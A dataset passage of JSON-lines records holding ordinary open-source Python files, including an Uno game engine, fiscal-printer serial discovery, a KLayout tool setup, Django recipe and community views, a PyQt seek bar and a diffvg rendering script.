hands(self):\n return self._hands\n\n def discard(self):\n return self._discard[-1]\n\n def winner(self):\n \"\"\"\n If the game has ended, get the winner.\n \"\"\"\n for i, hand in enumerate(self._hands):\n if not len(hand):\n return i\n return None\n\n def turn(self):\n \"\"\"\n Get the current player.\n \"\"\"\n return self._turn\n\n def obs(self, player):\n \"\"\"\n Generate an observation vector for a player.\n \"\"\"\n vec = []\n hand = self._hands[player]\n for card in hand:\n vec += card.vector()\n vec += [0.0] * (20 * (108 - len(hand)))\n vec += self._discard[-1].vector()\n vec += _player_vec(player)\n vec += _player_vec(self.turn())\n for hand in self._hands:\n vec += [float(len(hand))]\n vec += [0.0] * (MAX_PLAYERS - self._num_players)\n return vec\n\n def options(self):\n \"\"\"\n Get the valid actions for the current player.\n \"\"\"\n if self._state == GameState.PLAY_OR_DRAW:\n return [NopAction(), DrawAction()] + self._play_options()\n elif self._state == GameState.PLAY:\n return [NopAction()] + self._play_options()\n elif self._state == GameState.PLAY_DRAWN:\n res = [NopAction()]\n if self._can_play(self._current_hand()[-1]):\n res += [PlayCardAction(len(self._current_hand()) - 1)]\n return res\n elif self._state == GameState.PICK_COLOR or self._state == GameState.PICK_COLOR_INIT:\n return [PickColorAction(c) for c in [Color.RED, Color.ORANGE, Color.GREEN, Color.BLUE]]\n elif self._state == GameState.CHALLENGE_VALID or self._state == GameState.CHALLENGE_INVALID:\n return [NopAction(), ChallengeAction()]\n raise RuntimeError('invalid state')\n\n def act(self, action):\n \"\"\"\n Take a turn by selecting the action for the\n current player.\n \"\"\"\n assert action in self.options()\n if self._state == GameState.PLAY_OR_DRAW:\n if isinstance(action, NopAction):\n self._advance_turn()\n elif isinstance(action, DrawAction):\n self._state = GameState.PLAY_DRAWN\n self._current_hand().append(self._draw())\n else:\n self._play_card(action)\n elif self._state == GameState.PLAY:\n if isinstance(action, NopAction):\n self._state = GameState.PLAY_OR_DRAW\n self._advance_turn()\n else:\n self._play_card(action)\n elif self._state == GameState.PLAY_DRAWN:\n if isinstance(action, NopAction):\n self._state = GameState.PLAY_OR_DRAW\n self._advance_turn()\n else:\n self._play_card(action)\n elif self._state == GameState.PICK_COLOR or self._state == GameState.PICK_COLOR_INIT:\n disc = self._discard[-1]\n disc.color = action.color\n if self._state == GameState.PICK_COLOR:\n last_disc = self._discard[-2]\n if disc.card_type == CardType.WILD:\n self._state = GameState.PLAY_OR_DRAW\n elif any(x.color == last_disc.color for x in self._current_hand()):\n self._state = GameState.CHALLENGE_INVALID\n else:\n self._state = GameState.CHALLENGE_VALID\n self._advance_turn()\n else:\n self._state = GameState.PLAY\n elif self._state == GameState.CHALLENGE_VALID or self._state == GameState.CHALLENGE_INVALID:\n if isinstance(action, NopAction):\n for _ in range(4):\n self._current_hand().append(self._draw())\n self._advance_turn()\n elif self._state == GameState.CHALLENGE_INVALID:\n self._advance_turn(by=-1)\n for _ in range(4):\n self._current_hand().append(self._draw())\n self._advance_turn(by=2)\n else:\n for _ in range(6):\n self._current_hand().append(self._draw())\n self._advance_turn()\n self._state = GameState.PLAY_OR_DRAW\n\n def _advance_turn(self, by=1):\n self._turn += by * self._direction\n while self._turn < 0:\n self._turn += self._num_players\n while self._turn >= self._num_players:\n self._turn -= self._num_players\n\n def _play_card(self, action):\n card = self._current_hand()[action.raw_index]\n self._current_hand().remove(card)\n self._discard.append(card)\n if card.card_type == CardType.NUMERAL:\n self._advance_turn()\n elif card.card_type == CardType.SKIP:\n self._advance_turn(by=2)\n elif card.card_type == CardType.REVERSE:\n self._direction *= -1\n self._advance_turn()\n elif card.card_type == CardType.DRAW_TWO:\n self._advance_turn()\n for _ in range(2):\n self._current_hand().append(self._draw())\n self._advance_turn()\n elif card.card_type == CardType.WILD or card.card_type == CardType.WILD_DRAW:\n self._state = GameState.PICK_COLOR\n return\n self._state = GameState.PLAY_OR_DRAW\n\n def _draw(self):\n if len(self._deck):\n return self._deck.pop()\n self._deck = self._discard[:-1]\n self._discard = [self._discard[-1]]\n random.shuffle(self._deck)\n for card in self._deck:\n if card.card_type == CardType.WILD or card.card_type == CardType.WILD_DRAW:\n card.color = None\n return self._deck.pop()\n\n def _update_init_state(self):\n first_card = self._discard[0]\n if first_card.card_type == CardType.SKIP:\n self._turn += 1\n elif first_card.card_type == CardType.REVERSE:\n self._direction = -1\n self._turn = self._num_players - 1\n elif first_card.card_type == CardType.DRAW_TWO:\n for _ in range(2):\n self._hands[0].append(self._draw())\n self._turn = 1\n elif first_card.card_type == CardType.WILD:\n self._state = GameState.PICK_COLOR_INIT\n\n def _can_play(self, card):\n if card.card_type == CardType.WILD or card.card_type == CardType.WILD_DRAW:\n return True\n disc = self._discard[-1]\n if card.color == disc.color:\n return True\n if card.card_type == CardType.NUMERAL and disc.card_type == CardType.NUMERAL:\n return card.number == disc.number\n return card.card_type == disc.card_type\n\n def _play_options(self):\n res = []\n for i, card in enumerate(self._current_hand()):\n if self._can_play(card):\n res.append(PlayCardAction(i))\n return res\n\n def _current_hand(self):\n return self._hands[self._turn]\n\n\ndef _player_vec(idx):\n res = [0.0] * MAX_PLAYERS\n res[idx] = 1.0\n return res\n", "source": "unixpickle/uno-ai", "license": "BSD-2-Clause"} {"text": "# -*- coding: utf-8 -*-\n\n\nimport serial.tools.list_ports\n\nfrom . import device, commands, protocol, misc, compat\n\n\nclass Discovery(compat.with_metaclass(commands.SupportedCommands)):\n SUPPORTED_COMMANDS = (0xFC, )\n DISCOVERY_TIMEOUT = 0.5\n\n def __init__(self, port, baudrate):\n \"\"\"\n \u041f\u0441\u0435\u0432\u0434\u043e-\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0442\u0438\u043f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\n :type port: str\n :param port: \u043f\u043e\u0440\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n :type baudrate: int\n :param baudrate: \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n \"\"\"\n\n self.protocol = protocol.Protocol(\n port, baudrate, self.DISCOVERY_TIMEOUT\n )\n self.protocol.connect()\n self.dev_info = self.model()\n self.protocol.disconnect()\n\n name = device.Device.name\n\n\ndef discovery(callback=None, port=None, baudrate=None):\n \"\"\"\n \u0424\u0443\u043d\u043a\u0446\u0438\u044f \u0430\u0432\u0442\u043e\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432.\n\n :param callback: callable \u043e\u0431\u044a\u0435\u043a\u0442, \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439 3 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430: \u043f\u043e\u0440\u0442, \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c, \u0438\u043c\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\n :type port: str\n :param port: \u043f\u043e\u0440\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n :type baudrate: int\n :param baudrate: \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c\n\n :rtype: list\n :return: \u0441\u043f\u0438\u0441\u043e\u043a \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u043e\u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f\n \"\"\"\n\n devices = []\n\n if port and baudrate:\n ports = (port, )\n baudrates = (baudrate, )\n else:\n # \u044f\u0432\u043d\u043e\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 comports \u043a \u0442\u0438\u043f\u0443 list\n # \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0434\u043b\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 pyserial <= 3.0.1 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 win32\n ports = (port_.device for port_ in reversed(list(serial.tools.list_ports.comports())))\n baudrates = sorted(misc.BAUDRATE_DIRECT.keys(), reverse=True)\n\n for p in ports:\n for b in baudrates:\n\n try:\n d = Discovery(p, b)\n except IOError:\n pass\n else:\n device_cls = None\n\n if u'\u0424\u0420-\u041f\u0422\u041a' in d.name:\n device_cls = device.ShtrihFRPTK\n elif u'LIGHT-\u041f\u0422\u041a' in d.name:\n device_cls = device.ShtrihLightPTK\n elif u'\u041f\u0422\u041a' in d.name:\n device_cls = device.ShtrihComboPTK\n elif u'\u041a\u041e\u041c\u0411\u041e-\u0424\u0420-\u041a' in d.name:\n device_cls = device.ShtrihComboFRK\n elif u'\u0424\u0420-\u041a' in d.name:\n device_cls = device.ShtrihFRK\n elif u'\u0424\u0420-01\u0424' in d.name:\n device_cls = device.ShtrihFR01F\n elif u'950\u041a' in d.name:\n device_cls = device.Shtrih950K\n elif u'ON-LINE' in d.name:\n device_cls = device.ShtrihOnLine\n elif u'\u0420\u0420-04\u0424' in d.name:\n device_cls = device.ShtrihOnLine\n elif u'\u0420\u0418\u0422\u0415\u0419\u041b-01\u0424' in d.name:\n device_cls = device.Retail01F\n elif u'\u041c-01\u0424' in d.name:\n device_cls = device.ShtrihM01F\n elif u'\u041c-02\u0424' in d.name:\n device_cls = device.ShtrihM02F\n elif u'\u041b\u0410\u0419\u0422-01\u0424' in d.name:\n device_cls = device.ShtrihLight01F\n elif u'\u041b\u0410\u0419\u0422-02\u0424' in d.name:\n device_cls = device.ShtrihLight02F\n elif u'\u041c\u0418\u041d\u0418-01\u0424' in d.name:\n device_cls = device.ShtrihMini01F\n else:\n print(u'\u0423\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f', p, b, d.name)\n\n if device_cls:\n discovered_device = device_cls(p, b)\n discovered_device.dev_info = d.dev_info\n devices.append(discovered_device)\n\n if callback:\n callback(p, b, d.name)\n\n break\n\n return devices\n", "source": "alex-eri/pyshtrih", "license": "MIT"} {"text": "import os\nimport platform\nimport re\nimport shutil\nimport siliconcompiler\nfrom pathlib import Path\n\n####################################################################\n# Make Docs\n####################################################################\n\ndef make_docs():\n '''\n Klayout is a production grade viewer and editor of GDSII and\n Oasis data with customizable Python and Ruby interfaces.\n\n Documentation: https://www.klayout.de\n\n Sources: https://github.com/KLayout/klayout\n\n Installation: https://www.klayout.de/build.html\n\n '''\n\n chip = siliconcompiler.Chip()\n chip.target('freepdk45')\n chip.set('arg','step','export')\n chip.set('arg','index','')\n chip.set('design', '')\n setup_tool(chip)\n\n return chip\n\n####################################################################\n# Setup tool\n####################################################################\n\ndef setup_tool(chip, mode=\"batch\"):\n '''\n Setup function for Klayout\n '''\n\n tool = 'klayout'\n refdir = 'tools/'+tool\n step = chip.get('arg','step')\n index = chip.get('arg','index')\n\n if platform.system() == 'Windows':\n klayout_exe = 'klayout_app.exe'\n if not shutil.which(klayout_exe):\n loc_dir = os.path.join(Path.home(), 'AppData', 'Roaming', 'KLayout')\n global_dir = os.path.join(os.path.splitdrive(Path.home())[0],\n os.path.sep,\n 'Program Files (x86)',\n 'KLayout')\n if os.path.isdir(loc_dir):\n chip.set('eda', tool, 'path', loc_dir)\n elif os.path.isdir(global_dir):\n chip.set('eda', tool, 'path', global_dir)\n elif platform.system() == 'Darwin':\n klayout_exe = 'klayout'\n if not shutil.which(klayout_exe):\n klayout_dir = os.path.join(os.path.sep,\n 'Applications',\n 'klayout.app',\n 'Contents',\n 'MacOS')\n # different install directory when installed using Homebrew\n klayout_brew_dir = os.path.join(os.path.sep,\n 'Applications',\n 'KLayout',\n 'klayout.app',\n 'Contents',\n 'MacOS')\n if os.path.isdir(klayout_dir):\n chip.set('eda', tool, 'path', klayout_dir)\n elif os.path.isdir(klayout_brew_dir):\n chip.set('eda', tool, 'path', klayout_brew_dir)\n else:\n klayout_exe = 'klayout'\n\n if mode == 'show':\n clobber = False\n script = '/klayout_show.py'\n option = ['-nc', '-rm']\n else:\n clobber = False\n script = '/klayout_export.py'\n option = ['-zz', '-r']\n\n chip.set('eda', tool, 'exe', klayout_exe, clobber=True)\n chip.set('eda', tool, 'vswitch', '-zz -v', clobber=clobber)\n chip.set('eda', tool, 'version', '0.26.11', clobber=clobber)\n chip.set('eda', tool, 'format', 'json', clobber=clobber)\n chip.set('eda', tool, 'copy', 'true', clobber=clobber)\n chip.set('eda', tool, 'refdir', step, index, refdir, clobber=clobber)\n chip.set('eda', tool, 'script', step, index, refdir + script, clobber=clobber)\n chip.set('eda', tool, 'option', step, index, option, clobber=clobber)\n\n # Export GDS with timestamps by default.\n chip.set('eda', tool, 'variable', step, index, 'timestamps', 'true', clobber=False)\n\n # Input/Output requirements\n if (not chip.valid('read', 'def', step, index) or\n not chip.get('read', 'def', step, index)):\n chip.add('eda', tool, 'input', step, index, chip.get('design') + '.def')\n chip.add('eda', tool, 'output', step, index, chip.get('design') + '.gds')\n\n # Adding requirements\n if mode != 'show':\n targetlibs = chip.get('asic', 'targetlib')\n stackup = chip.get('asic', 'stackup')\n if bool(stackup) & bool(targetlibs):\n macrolibs = chip.get('asic', 'macrolib')\n\n chip.add('eda', tool, 'require', step, index, \",\".join(['asic', 'targetlib']))\n chip.add('eda', tool, 'require', step, index, \",\".join(['asic', 'stackup']))\n chip.add('eda', tool, 'require', step, index, \",\".join(['pdk', 'layermap', stackup, 'def','gds']))\n\n for lib in (targetlibs + macrolibs):\n chip.add('eda', tool, 'require', step, index, \",\".join(['library', lib, 'gds']))\n chip.add('eda', tool, 'require', step, index, \",\".join(['library', lib, 'lef']))\n else:\n chip.error = 1\n chip.logger.error(f'Stackup and targetlib paremeters required for KLayout.')\n\n\n################################\n# Environment setup\n################################\n\ndef setup_env(chip):\n '''\n Creates environment setup files in the current directory.\n\n Setup is based on the parameters passed in through the chip object.\n\n '''\n\n return 0\n\n################################\n# Custom runtime options\n################################\n\ndef runtime_options(chip):\n '''\n Custom runtime options, returns list of command line options.\n '''\n return []\n\n################################\n# Version Check\n################################\n\ndef parse_version(stdout):\n # KLayout 0.26.11\n return stdout.split()[1]\n\n##################################################\nif __name__ == \"__main__\":\n # File being executed\n prefix = os.path.splitext(os.path.basename(__file__))[0]\n output = prefix + '.json'\n\n # create a chip instance\n chip = siliconcompiler.Chip()\n chip.target(\"freepdk45\")\n # load configuration\n setup_tool(chip, step='export', index='0')\n # write out results\n chip.writecfg(output)\n", "source": "MikeOpenHWGroup/siliconcompiler", "license": "Apache-2.0"} {"text": "from django.shortcuts import render, redirect\n\n# Create your views here.\nfrom recipes.main_app.forms import RecipeForm\nfrom recipes.main_app.models import Recipe\n\n\ndef get_ingredients(ingredients):\n start = 0\n end = 0\n ing = []\n for el in ingredients:\n if el == ',' or len(ingredients) == end - 1:\n ing.append(str(ingredients[start:end - 1]))\n start = end + 1\n end += 1\n end += 1\n\n return ing\n\n\ndef home(request):\n recipes = Recipe.objects.all()\n context = {\n 'recipes': recipes\n }\n\n return render(request, 'index.html', context)\n\n\ndef create_recipe(request):\n if request.method == \"POST\":\n form = RecipeForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('home')\n\n else:\n form = RecipeForm()\n context = {\n 'form': form\n }\n return render(request, 'create.html', context)\n\n\ndef edit_recipe(request, pk):\n recipe = Recipe.objects.get(pk=pk)\n if request.method == 'POST':\n form = RecipeForm(request.POST, instance=recipe)\n if form.is_valid():\n form.save()\n return redirect('home')\n else:\n form = RecipeForm(instance=recipe)\n\n context = {\n 'form': form\n }\n return render(request, 'edit.html', context)\n\n\ndef details_recipe(request, pk):\n recipe = Recipe.objects.get(pk=pk)\n ingredients = get_ingredients(recipe.ingredients)\n\n context = {\n 'recipe': recipe,\n 'ingredients': ingredients\n }\n return render(request, 'details.html', context)\n\n\ndef delete_recipe(request, pk):\n recipe = Recipe.objects.get(pk=pk)\n form = RecipeForm(request.POST, instance=recipe)\n if request.method == 'POST':\n if form.is_valid():\n recipe.delete()\n return redirect('home')\n else:\n form = RecipeForm(instance=recipe)\n context = {\n 'recipe': recipe,\n 'form': form\n }\n return render(request, 'delete.html', context)\n", "source": "ivailoiliev84/Web_basic_exams_preparation_and_exam", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n# this file is released under public domain and you can use without limitations\n\n#########################################################################\n## Customize your APP title, subtitle and menus here\n#########################################################################\n\nresponse.logo = A(B('QualityPost'),XML('™ '),\n _class=\"brand\",_href=\"http://www.qualitypost.com.mx/\")\n#response.title = request.application.replace('_',' ').title()\nresponse.title = 'Asignacion Interactiva de Mensajes'\nresponse.subtitle = 'Cliente: '\n\n## read more at http://dev.w3.org/html5/markup/meta.name.html\nresponse.meta.author = 'Armando Hernandez '\nresponse.meta.keywords = 'web2py, python, framework'\nresponse.meta.generator = 'Web2py Web Framework'\n\n## your http://google.com/analytics id\nresponse.google_analytics_id = None\n\n#########################################################################\n## this is the main application menu add/remove items as required\n#########################################################################\n\nresponse.menu = [\n (T('Home'), False, URL('default', 'index'), [])\n]\n\nif \"auth\" in locals(): auth.wikimenu()\n", "source": "Mexarm/web2pytests", "license": "BSD-3-Clause"} {"text": "#!/usr/bin/env python3\nimport random\n\ndef minimal_tree(depth, is_left, parents):\n if depth < 0: return -1\n sons = [-1] * 2\n\n if (is_left):\n depths = (depth - 1, depth - 2)\n else:\n depths = (depth - 2, depth - 1)\n\n sons[0] = minimal_tree(depths[0], is_left, parents)\n parents.append(-1)\n id = len(parents)\n sons[1] = minimal_tree(depths[1], is_left, parents)\n\n for x in sons:\n if x >= 1:\n parents[x - 1] = id\n\n return id\n\ndef full_tree(depth, parents):\n if depth < 0: return -1\n sons = [-1] * 2\n\n sons[0] = full_tree(depth - 1, parents)\n parents.append(-1)\n id = len(parents)\n sons[1] = full_tree(depth - 1, parents)\n\n for x in sons:\n if x >= 1:\n parents[x - 1] = id\n\n return id\n\n# Example usage\n# parents = []\n# minimal_tree(3, False, parents)\n# ... or ...\n# full_tree(3, parents)\n\n# n = len(parents)\n# print(n, random.randint(1, n - 1))\n# for x in parents:\n# print(x)\n", "source": "Shahraaz/CP_P_S5", "license": "MIT"} {"text": "# qt\nfrom PyQt5 import QtWidgets, QtCore, QtGui\n\n\nclass Seeker(QtWidgets.QProgressBar):\n\n timestamp_updated = QtCore.pyqtSignal(str)\n\n def __init__(self, player: 'MusicPlayer'): # noqa: F821\n super().__init__()\n self.player = player\n self.player.positionChanged.connect(self.update_position)\n self.setTextVisible(False)\n self.setRange(0, 1000)\n self.setFixedHeight(25)\n self.dragging = False\n\n self.setStyleSheet(\n \"\"\"\n QProgressBar {\n margin: 10px;\n height: 5px;\n border: 0px solid #555;\n border-radius: 2px;\n background-color: #666;\n }\n\n QProgressBar::chunk {\n background-color: white;\n width: 1px;\n }\n \"\"\"\n )\n\n def update_position(self, milliseconds: int):\n if self.player.duration():\n self.setValue((milliseconds/self.player.duration())*self.maximum())\n duration = int(milliseconds / 1000)\n seconds = str(duration % 60)\n minutes = str(duration // 60)\n self.timestamp_updated.emit(minutes.zfill(2) + ':' + seconds.zfill(2))\n\n def mousePressEvent(self, event):\n self.dragging = True\n value = (event.x() / self.width()) * self.maximum()\n self.player.setPosition((event.x() / self.width()) * self.player.duration())\n self.setValue(value)\n\n def mouseMoveEvent(self, event):\n if self.dragging:\n value = (event.x() / self.width()) * self.maximum()\n self.player.setPosition((event.x() / self.width()) * self.player.duration())\n self.setValue(value)\n\n def mouseReleaseEvent(self, event):\n self.dragging = False\n\n def paintEvent(self, event):\n \"\"\"Painting the circle onto the seeker\"\"\"\n super().paintEvent(event)\n painter = QtGui.QPainter(self)\n painter.setPen(QtGui.QColor(\"#c9c9c9\"))\n painter.setBrush(QtGui.QColor(\"#c9c9c9\"))\n seeker_x_offset = self.value() / self.maximum() * (self.width() - 10)\n painter.drawEllipse(seeker_x_offset, 7, 10, 10)\n", "source": "RohanJnr/code-jam-5", "license": "MIT"} {"text": "#!/usr/bin/python\n# doccopy.py\n# NOTE: we have to call this file something other than copy.py because of the \n# standard library \"copy\" module. The classname, however, is okay. \n\nimport simpy\nfrom NewTraceFac import NTRC, ntrace, ntracef\nimport itertools\nfrom globaldata import G\nfrom math import exp, log\nimport util\nimport copy\nimport logoutput as lg\nfrom catchex import catchex\n\n\n#===========================================================\n# Class C O P Y ( of D o c u m e n t )\n#---------------------------------------\n\nclass CCopy(object):\n getID = itertools.count(1).next\n\n @ntracef(\"COPY\")\n def __init__(self,mysDocID,mysClientID,mysServerID):\n self.ID = \"X\" + str(self.getID())\n G.dID2Copy[self.ID] = self\n G.nCopyLastID = self.ID\n\n # What document is this a copy of?\n self.sDocID = mysDocID\n self.sClientID = mysClientID\n # Where is this copy being stored?\n self.sServerID = mysServerID\n self.sShelfID = None\n self.nBlkBegin = None\n self.nBlkEnd = None\n \n @property\n def cDoc(self):\n return G.dID2Document[self.sDocID]\n\n @property\n def cClient(self):\n return G.dID2Document[self.sClientID]\n\n @property\n def cServer(self):\n return G.dID2Server[self.sServerID]\n\n @property\n def cServer(self):\n return G.dID2Shelf[self.sShelfID]\n\n @ntracef(\"COPY\")\n def mShelveCopy(self,mysServerID,mysShelfID,mynBlkBegin,mynBlkEnd):\n self.sServerID = mysServerID\n self.sShelfID = mysShelfID\n self.nBlkBegin = mynBlkBegin\n self.nBlkEnd = mynBlkEnd\n return self.ID+\"+\"+mysServerID+\"+\"+mysShelfID+\"+\" + \"[\"+str(mynBlkBegin)+\",\"+str(mynBlkEnd)+\"]\"\n\n @ntracef(\"COPY\")\n def mGetDocID(self):\n return self.sDocID\n\n\n# Edit history:\n# 20150812 RBL Move CCopy from server.py to its own file. \n# 20180516 RBL Update to use only ntrace, ntracef, NTRC.\n# \n\n#END\n\n", "source": "MIT-Informatics/PreservationSimulation", "license": "X11"} {"text": "import rules\nfrom rules.contrib.views import PermissionRequiredMixin\n\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib import messages\nfrom django.db import transaction\nfrom django.http import Http404\nfrom django.shortcuts import redirect, get_object_or_404\nfrom django.views.generic.base import RedirectView\nfrom django.views.generic import (\n CreateView,\n DetailView,\n ListView,\n UpdateView,\n)\n\nfrom events.models import Event, EventRSVP\nfrom locations.models import Location\nfrom .forms import CommunityUpdateForm\nfrom events.forms import EventCreateForm\nfrom .models import Community, CommunitySubscription\n\n\nclass CommunityListView(ListView):\n model = Community\n\n\nclass CommunityCreateView(LoginRequiredMixin, PermissionRequiredMixin, CreateView):\n model = Community\n fields = ['name', ]\n template_name = 'communities/community_create.html'\n permission_required = 'community.can_create'\n\n def form_valid(self, form):\n with transaction.atomic():\n out = super().form_valid(form)\n CommunitySubscription.objects.create(\n community=self.object,\n user=self.request.user,\n role='owner'\n )\n\n return out\n\n\nclass CommunityUpdateView(LoginRequiredMixin, PermissionRequiredMixin, UpdateView):\n model = Community\n template_name = 'communities/community_update.html'\n permission_required = 'community.can_edit'\n form_class = CommunityUpdateForm\n\n\nclass CommunityDetailView(DetailView):\n model = Community\n\n\nclass CommunityEventCreateView(LoginRequiredMixin, PermissionRequiredMixin, CreateView):\n model = Event\n template_name = 'communities/community_event_create.html'\n form_class = EventCreateForm\n permission_required = 'community.can_create_event'\n\n def get_permission_object(self):\n return self.get_community()\n\n def get_community(self):\n return get_object_or_404(Community, slug=self.kwargs.get('slug'))\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['community'] = self.get_community()\n return context\n\n def form_valid(self, form):\n self.object = form.save(commit=False)\n self.object.community = self.get_community()\n if form.data.get('location'):\n self.object.location = Location.objects.get(pk=form.data.get('location'))\n self.object.save()\n return redirect(self.get_success_url())\n\n\nclass CommunitySubscribeView(LoginRequiredMixin, DetailView):\n model = Community\n template_name = 'communities/community_subscribe.html'\n\n def get(self, request, *args, **kwargs):\n self.object = self.get_object()\n community = self.object\n try:\n CommunitySubscription.objects.get(user=request.user, community=community)\n messages.warning(request, 'You are already subscribed to \"{}\"'.format(community.name))\n return redirect(community)\n except CommunitySubscription.DoesNotExist:\n return super().get(request, *args, **kwargs)\n\n def post(self, request, *args, **kwargs):\n self.get_object().subscribe_user(request.user)\n return redirect(self.get_object())\n\n\nclass CommunityUnsubscribeView(LoginRequiredMixin, DetailView):\n model = Community\n template_name = 'communities/community_unsubscribe.html'\n\n def get(self, request, *args, **kwargs):\n self.object = self.get_object()\n community = self.object\n try:\n user_subscription = CommunitySubscription.objects.get(\n user=request.user, community=community)\n except CommunitySubscription.DoesNotExist:\n messages.warning(request, 'You cannot unsubscribe when you are not subscribed')\n return redirect(community)\n\n if not rules.test_rule('can_unsubscribe', request.user, user_subscription):\n messages.error(request, 'You cannot unsubscribe when you are the last owner')\n return redirect(community)\n\n return super().get(request, *args, **kwargs)\n\n @transaction.atomic\n def post(self, request, *args, **kwargs):\n self.object = self.get_object()\n community = self.object\n try:\n user_subscription = CommunitySubscription.objects.get(\n user=request.user, community=community)\n except CommunitySubscription.DoesNotExist:\n messages.warning(request, 'You cannot unsubscribe when you are not subscribed')\n return redirect(community)\n\n if not rules.test_rule('can_unsubscribe', request.user, user_subscription):\n messages.error(request, 'You cannot unsubscribe when you are the last owner')\n return redirect(community)\n\n EventRSVP.objects.filter(\n event__pk__in=Event.objects.upcoming().filter(community=community).values_list('pk', flat=True),\n user=request.user).delete()\n user_subscription.delete()\n messages.success(request, 'Successfully unsubscribed from \"{}\"'.format(community.name))\n return redirect(community)\n\n\nclass SubscriptionChangeRoleView(LoginRequiredMixin, PermissionRequiredMixin, DetailView):\n model = CommunitySubscription\n allowed_methods = ['post']\n\n def get_permission_object(self):\n return self.get_object().community\n\n def get_permission_required(self):\n role = self.kwargs.get('role')\n if role == CommunitySubscription.ROLE_OWNER:\n return ['community.can_set_owner']\n elif role == CommunitySubscription.ROLE_ADMIN:\n return ['community.can_set_admin']\n elif role == CommunitySubscription.ROLE_SUBSCRIBER:\n return ['community.can_set_subscriber']\n else:\n raise ValueError('Unknown role type {}'.format(role))\n\n def post(self, request, *args, **kwargs):\n subscription = self.get_object()\n if rules.test_rule('is_last_owner', request.user, subscription):\n messages.error(request, 'You cannot change your role when you are the last owner')\n return redirect(subscription.community)\n\n subscription.role = kwargs['role']\n subscription.save()\n return redirect(subscription.community)\n\n\nclass CommunityRedirectView(RedirectView):\n permanent = False\n pattern_name = 'community_detail'\n\n def get_redirect_url(self, *args, **kwargs):\n cname_parameter = kwargs.pop('cname')\n for community in Community.objects.filter(cname__icontains=cname_parameter):\n for cname in community.cname.split(' '):\n if cname.lower() == cname_parameter:\n kwargs['slug'] = community.slug\n return super().get_redirect_url(*args, **kwargs)\n raise Http404\n", "source": "letsmeet-click/letsmeet.click", "license": "MIT"} {"text": "import random\nfrom subprocess import call\n\nimport torch\nimport skimage\nimport skimage.io\nimport click\nimport ttools.modules\n\nimport pydiffvg\n\npydiffvg.set_print_timing(True)\n\ngamma = 1.0\n\n@click.command()\n@click.argument(\n 'target_image',\n)\n@click.option(\n '--num_paths',\n type=int,\n default=512,\n show_default=True,\n)\n@click.option(\n '--max_width',\n type=float,\n default=2.0,\n show_default=True,\n)\n@click.option(\n '--method',\n type=click.Choice(['lpips', 'blob'], case_sensitive=False),\n default='lpips',\n show_default=True,\n)\n@click.option(\n '--iters',\n type=int,\n default=500,\n show_default=True,\n)\n@click.option(\n '--background_color',\n help='RGB for backgound color range between 0 and 255 for each value. If None specified white is used.',\n type=int,\n nargs=3,\n)\n@click.option(\n '--seed',\n help='Seed used for random values.',\n type=int,\n default=1234,\n show_default=True,\n)\ndef painterly_rendering(\n target_image,\n num_paths,\n max_width,\n method,\n iters,\n background_color,\n seed,\n):\n\n pydiffvg.set_use_gpu(torch.cuda.is_available())\n \n perception_loss = ttools.modules.LPIPS().to(pydiffvg.get_device())\n \n target = torch.from_numpy(skimage.io.imread(target_image)).to(torch.float32) / 255.0\n target = target.pow(gamma)\n target = target.to(pydiffvg.get_device())\n target = target.unsqueeze(0)\n target = target.permute(0, 3, 1, 2) # NHWC -> NCHW\n\n canvas_width, canvas_height = target.shape[3], target.shape[2]\n \n random.seed(seed)\n torch.manual_seed(seed)\n\n background_image = None\n target_background_image = None\n if len(background_color) == 3:\n background_image = torch.zeros((canvas_height, canvas_width, 3), dtype=torch.float32)\n background_image[:, :, 0] = 